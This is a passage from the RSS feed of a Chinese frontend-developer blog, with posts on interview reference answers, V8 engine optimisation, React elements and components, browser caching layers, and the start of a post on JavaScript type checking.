&lt;p&gt;实验室项目是另一个重要来源。导师的研究项目中经常需要开发一些数据展示、实验管理的Web系统，会让研究生参与开发。这类项目更贴近实际应用，需求也更复杂一些。&lt;/p&gt;
&lt;p&gt;还有就是实习期间参与的公司项目。虽然作为实习生主要是辅助开发，但能够接触到真实的商业项目，了解完整的产品开发流程。&lt;/p&gt;
&lt;p&gt;另外也会主动寻找一些开源项目参与贡献，或者自己发起一些小项目来练习新技术。比如看到一个有趣的API，就会想着用它开发一个小应用来练手。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-d94383ceb7e2"&gt;4. 讲一个你觉得最有成就感的项目&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;科研数据可视化平台，解决了性能优化和数据适配的技术挑战，最终被多个实验室采用。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;最有成就感的是在实验室开发的一个科研数据可视化平台。这个项目是为了帮助实验室的研究人员更好地分析和展示实验数据。&lt;/p&gt;
&lt;p&gt;项目的挑战在于需要处理大量的科研数据，并且要支持多种图表类型的动态切换。数据量大的时候页面会卡顿，用户体验很差。通过学习和实践，使用了虚拟滚动技术处理大列表，用Web Workers在后台处理数据计算，用Canvas替代DOM渲染复杂图表，最终解决了性能问题。&lt;/p&gt;
&lt;p&gt;另一个难点是不同研究方向的数据格式差异很大，需要设计一个灵活的数据适配层。通过抽象出通用的数据模型，并提供配置化的字段映射功能，让系统能够适应不同的数据格式。&lt;/p&gt;
&lt;p&gt;最终这个平台不仅在我们实验室使用，还被其他几个实验室采用，帮助研究人员提高了数据分析效率。看到自己开发的系统真正解决了实际问题，并且得到用户认可，这种成就感是最大的收获。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-97f2b3016aef"&gt;5. 前端怎么样才是一种好的体验？&lt;/h2&gt;
&lt;h3 id="题目要点-4"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;性能优化、交互反馈改进、错误处理优化、移动端适配、基于反馈的持续改进。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;好的前端体验应该是用户感知不到技术存在的体验。首先是性能方面，页面加载要快，交互要流畅，用户不应该感受到明显的等待时间。这需要做好资源优化、懒加载、缓存策略等。&lt;/p&gt;
&lt;p&gt;界面设计要直观易懂，用户能够快速找到需要的功能，操作流程要符合用户习惯。响应式设计也很重要，在不同设备上都能提供良好的体验。&lt;/p&gt;
&lt;p&gt;交互反馈要及时准确。用户的每个操作都应该有明确的反馈，比如按钮点击效果、加载状态提示、操作结果通知等。错误处理要友好，当出现问题时，要给用户清晰的错误信息和解决建议。&lt;/p&gt;
&lt;p&gt;可访问性也是好体验的重要组成部分。要考虑到不同能力用户的需求，比如键盘导航、屏幕阅读器支持等。&lt;/p&gt;
&lt;p&gt;最后是要保持一致性，整个应用的交互模式、视觉风格、信息架构都要保持统一，让用户形成稳定的使用预期。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-a1e083f32238"&gt;6. 平时怎么学习前端的？&lt;/h2&gt;
&lt;h3 id="题目要点-5"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;系统性学习、实践项目、阅读源码、关注社区、记录总结、保持好奇心。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;学习前端主要通过几个渠道。首先是系统性学习，通过在线课程平台如慕课网、极客时间等学习完整的技术体系。看技术书籍也很重要，比如《JavaScript高级程序设计》、《CSS权威指南》等经典书籍能够建立扎实的基础。&lt;/p&gt;
&lt;p&gt;实践是最重要的学习方式。会跟着教程做一些小项目，然后尝试改进和扩展功能。GitHub上有很多优秀的开源项目，通过阅读源码能够学到很多最佳实践。&lt;/p&gt;
&lt;p&gt;技术社区是获取最新信息的重要渠道。经常浏览掘金、思否、MDN等网站，关注前端技术的发展趋势。参加一些技术分享会和线上讲座，能够了解行业动态和实际应用经验。&lt;/p&gt;
&lt;p&gt;建立了自己的学习笔记系统，将学到的知识点整理成文档，定期回顾和总结。还会写一些技术博客，通过输出来加深理解。&lt;/p&gt;
&lt;p&gt;保持好奇心很重要，看到新技术会主动去了解和尝试。比如最近学习了WebAssembly、微前端等新技术，虽然可能暂时用不到，但能够拓宽技术视野。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-087d2cdb21b3"&gt;7. 最近了解到的新技术讲一下&lt;/h2&gt;
&lt;h3 id="题目要点-6"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;WebAssembly提供高性能计算能力，微前端解决大型应用架构问题，新CSS特性增强布局能力。&lt;/p&gt;</description></item><item><title>V8 引擎的优化机制</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-002/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-002/</guid><description>&lt;p&gt;V8 是 Google 开发的 JavaScript 引擎（用于 Chrome、Node.js 等），它的核心优化机制可以总结为：&lt;strong&gt;即时编译（JIT） + 隐式类型优化 + 内联缓存 + 垃圾回收机制&lt;/strong&gt;，通过这些方式来大幅提升 JS 的执行性能。&lt;/p&gt;
&lt;h2 id="一v8-的执行流程"&gt;一、V8 的执行流程&lt;/h2&gt;
&lt;p&gt;V8 不直接解释执行 JavaScript，而是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;解析（Parser）&lt;/strong&gt;：将 JS 源码解析为 AST（抽象语法树）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生成字节码（Bytecode）&lt;/strong&gt;：由 &lt;code&gt;Ignition&lt;/code&gt; 引擎生成并执行初始字节码&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;收集类型信息（Profiler）&lt;/strong&gt;：运行时收集变量类型、函数调用等信息&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优化编译（JIT）&lt;/strong&gt;：将热点代码交给 &lt;code&gt;TurboFan&lt;/code&gt; 引擎编译为高效的机器码&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="二核心优化机制"&gt;二、核心优化机制&lt;/h2&gt;
&lt;h3 id="1-隐藏类hidden-class与内联缓存inline-cache"&gt;1. &lt;strong&gt;隐藏类（Hidden Class）与内联缓存（Inline Cache）&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;为了优化对象属性访问，V8 引入了隐藏类机制，类似 C++ 中的类结构：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;初次创建对象时，生成一个隐藏类（HiddenClass）&lt;/li&gt;
&lt;li&gt;添加属性时会生成新的隐藏类链表结构&lt;/li&gt;
&lt;li&gt;相同结构的对象共享隐藏类，从而使访问更快&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;不要动态给对象添加属性，尽量保持对象结构稳定。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;内联缓存&lt;/strong&gt;：缓存某个属性的访问位置，使得后续同样结构的对象访问不必重新查找。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;p1&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Tom&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;p2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Jerry&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 内联缓存会优化 this.name 的访问路径
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2-类型反馈与优化编译type-feedback--jit"&gt;2. &lt;strong&gt;类型反馈与优化编译（Type Feedback + JIT）&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;V8 在执行字节码时会收集类型信息（比如函数参数、返回值的类型），并标记频繁调用的代码为“热点代码”：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;热点代码会被交给 &lt;code&gt;TurboFan&lt;/code&gt; 做优化编译&lt;/li&gt;
&lt;li&gt;编译时使用收集到的类型信息来生成专用的机器码（类型特化）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;add&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;add&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 优化为整数加法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;add&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;a&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;b&amp;#34;&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 类型变化 -&amp;gt; 去优化
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;不要在同一个函数中混用不同类型，可能导致优化失败或退化。&lt;/p&gt;</description></item><item><title>元素、组件、实例和节点</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-002/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-002/</guid><description>&lt;p&gt;React 中的元素、组件、实例和节点，是React中关系密切的4个概念，也是很容易让React 初学者迷惑的4个概念。现在，老干部就来详细地介绍这4个概念，以及它们之间的联系和区别，满足喜欢咬文嚼字、刨根问底的同学（老干部就是其中一员）的好奇心。&lt;/p&gt;
&lt;h4 id="元素-element"&gt;元素 (Element)&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;React 元素其实就是一个简单JavaScript对象，一个React 元素和界面上的一部分DOM对应，描述了这部分DOM的结构及渲染效果&lt;/strong&gt;。一般我们通过JSX语法创建React 元素，例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;element&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;h1&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;greeting&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Hello&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;world&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/h1&amp;gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;element是一个React 元素。在编译环节，JSX 语法会被编译成对React.createElement()的调用，从这个函数名上也可以看出，JSX语法返回的是一个React 元素。上面的例子编译后的结果为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;element&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;createElement&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;h1&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;greeting&amp;#39;&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Hello, world!&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;最终，element的值是类似下面的一个简单JavaScript对象：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;element&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;h1&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;greeting&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;children&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Hello, world&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;React 元素可以分为两类：DOM类型的元素和组件类型的元素。DOM类型的元素使用像h1、div、p等DOM节点创建React 元素，前面的例子就是一个DOM类型的元素；组件类型的元素使用React 组件创建React 元素，例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;buttonElement&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Button&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;color&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;red&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;OK&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/Button&amp;gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;buttonElement就是一个组件类型的元素，它的值是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;buttonElement&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Button&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;color&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;red&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;children&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;OK&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;对于DOM类型的元素，因为和页面的DOM节点直接对应，所以React知道如何进行渲染。但是对于组件类型的元素，如buttonElement，React是无法直接知道应该把buttonElement渲染成哪种结构的页面DOM，这时就需要组件自身提供React能够识别的DOM节点信息，具体实现方式在介绍组件时会详细介绍。&lt;/p&gt;
&lt;p&gt;有了React 元素，我们应该如何使用它呢？其实，绝大多数情况下，我们都不会直接使用React 元素，React 内部会自动根据React 元素，渲染出最终的页面DOM。更确切地说，React元素描述的是React虚拟DOM的结构，React会根据虚拟DOM渲染出页面的真实DOM。&lt;/p&gt;
&lt;h4 id="组件-component"&gt;组件 (Component)&lt;/h4&gt;
&lt;p&gt;React 组件，应该是大家最熟悉的React中的概念。React通过组件的思想，将界面拆分成一个个可以复用的模块，每一个模块就是一个React 组件。一个React 应用由若干组件组合而成，一个复杂组件也可以由若干简单组件组合而成。&lt;/p&gt;
&lt;p&gt;React组件和React元素关系密切，&lt;strong&gt;React组件最核心的作用是返回React元素&lt;/strong&gt;。这里你也许会有疑问：React元素不应该是由React.createElement() 返回的吗？但React.createElement()的调用本身也是需要有“人”负责的，React组件正是这个“责任人”。React组件负责调用React.createElement()，返回React元素，供React内部将其渲染成最终的页面DOM。&lt;/p&gt;
&lt;p&gt;既然组件的核心作用是返回React元素，那么最简单的组件就是一个返回React元素的函数：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Welcome&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;h1&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Hello&lt;/span&gt;, {&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;}&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/h1&amp;gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Welcome是一个用函数定义的组件。如果使用类（class）定义组件，返回React元素的工作具体就由组件的render方法承担，例如：&lt;/p&gt;</description></item><item><title>浏览器的缓存机制</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/performance/performance-002/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/performance/performance-002/</guid><description>&lt;h2 id="一前言"&gt;一、前言&lt;/h2&gt;
&lt;p&gt;缓存可以说是性能优化中简单高效的一种优化方式了。一个优秀的缓存策略可以缩短网页请求资源的距离，减少延迟，并且由于缓存文件可以重复利用，还可以减少带宽，降低网络负荷。&lt;/p&gt;
&lt;p&gt;对于一个数据请求来说，可以分为发起网络请求、后端处理、浏览器响应三个步骤。浏览器缓存可以帮助我们在第一和第三步骤中优化性能。比如说直接使用缓存而不发起请求，或者发起了请求但后端存储的数据和前端一致，那么就没有必要再将数据回传回来，这样就减少了响应数据。&lt;/p&gt;
&lt;p&gt;接下来的内容中我们将通过缓存位置、缓存策略以及实际场景应用缓存策略来探讨浏览器缓存机制。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如需获取思维导图或想阅读更多优质文章请猛戳&lt;a href="https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Fljianshu%2FBlog"&gt;GitHub博客&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/performance/performance-002/image-01.webp"&gt;&lt;/p&gt;
&lt;h2 id="二缓存位置"&gt;二、缓存位置&lt;/h2&gt;
&lt;p&gt;从缓存位置上来说分为四种，并且各自有优先级，当依次查找缓存且都没有命中的时候，才会去请求网络。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Service Worker&lt;/li&gt;
&lt;li&gt;Memory Cache&lt;/li&gt;
&lt;li&gt;Disk Cache&lt;/li&gt;
&lt;li&gt;Push Cache&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="1service-worker"&gt;1.Service Worker&lt;/h3&gt;
&lt;p&gt;Service Worker 是运行在浏览器背后的独立线程，一般可以用来实现缓存功能。使用 Service Worker的话，传输协议必须为 HTTPS。因为 Service Worker 中涉及到请求拦截，所以必须使用 HTTPS 协议来保障安全。&lt;strong&gt;Service Worker 的缓存与浏览器其他内建的缓存机制不同，它可以让我们自由控制缓存哪些文件、如何匹配缓存、如何读取缓存，并且缓存是持续性的&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;Service Worker 实现缓存功能一般分为三个步骤：首先需要先注册 Service Worker，然后监听到 install 事件以后就可以缓存需要的文件，那么在下次用户访问的时候就可以通过拦截请求的方式查询是否存在缓存，存在缓存的话就可以直接读取缓存文件，否则就去请求数据。&lt;/p&gt;
&lt;p&gt;当 Service Worker 没有命中缓存的时候，我们需要去调用 fetch 函数获取数据。也就是说，如果我们没有在 Service Worker 命中缓存的话，会根据缓存查找优先级去查找数据。但是不管我们是从 Memory Cache 中还是从网络请求中获取的数据，浏览器都会显示我们是从 Service Worker 中获取的内容。&lt;/p&gt;
&lt;h3 id="2memory-cache"&gt;2.Memory Cache&lt;/h3&gt;
&lt;p&gt;Memory Cache 也就是内存中的缓存，主要包含的是当前中页面中已经抓取到的资源,例如页面上已经下载的样式、脚本、图片等。读取内存中的数据肯定比磁盘快,内存缓存虽然读取高效，可是缓存持续性很短，会随着进程的释放而释放。 &lt;strong&gt;一旦我们关闭 Tab 页面，内存中的缓存也就被释放了&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;那么既然内存缓存这么高效，我们是不是能让数据都存放在内存中呢？&lt;/strong&gt; 这是不可能的。计算机中的内存一定比硬盘容量小得多，操作系统需要精打细算内存的使用，所以能让我们使用的内存必然不多。&lt;/p&gt;
&lt;p&gt;当我们访问过页面以后，再次刷新页面，可以发现很多数据都来自于内存缓存&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/performance/performance-002/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;内存缓存中有一块重要的缓存资源是preloader相关指令（例如&lt;code&gt;&amp;lt;link rel=&amp;quot;prefetch&amp;quot;&amp;gt;&lt;/code&gt;）下载的资源。总所周知preloader的相关指令已经是页面优化的常见手段之一，它可以一边解析js/css文件，一边网络请求下一个资源。&lt;/p&gt;
&lt;p&gt;需要注意的事情是，&lt;strong&gt;内存缓存在缓存资源时并不关心返回资源的HTTP缓存头Cache-Control是什么值，同时资源的匹配也并非仅仅是对URL做匹配，还可能会对Content-Type，CORS等其他特征做校验&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="3disk-cache"&gt;3.Disk Cache&lt;/h3&gt;
&lt;p&gt;Disk Cache 也就是存储在硬盘中的缓存，读取速度慢点，但是什么都能存储到磁盘中，&lt;strong&gt;比之 Memory Cache 胜在容量和存储时效性上&lt;/strong&gt;。&lt;/p&gt;</description></item><item><title>类型判断</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-002/</link><pubDate>Mon, 04 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-002/</guid><description>&lt;p&gt;JS中的类型判断也是咱的老朋友了，如果要你说两句，那便是啥玩意&lt;code&gt;typeof&lt;/code&gt;、&lt;code&gt;instanceof&lt;/code&gt;的，张口就来，但你真的掌握了每一种类型判断，并熟知其原理吗？就比如说&lt;code&gt;Object.prototype.toString.call()&lt;/code&gt;，当面试官问其中的 &lt;code&gt;call&lt;/code&gt;有什么作用时，咱们又该如何游说呢。&lt;/p&gt;
&lt;h2 id="typeof原理"&gt;typeof原理&lt;/h2&gt;
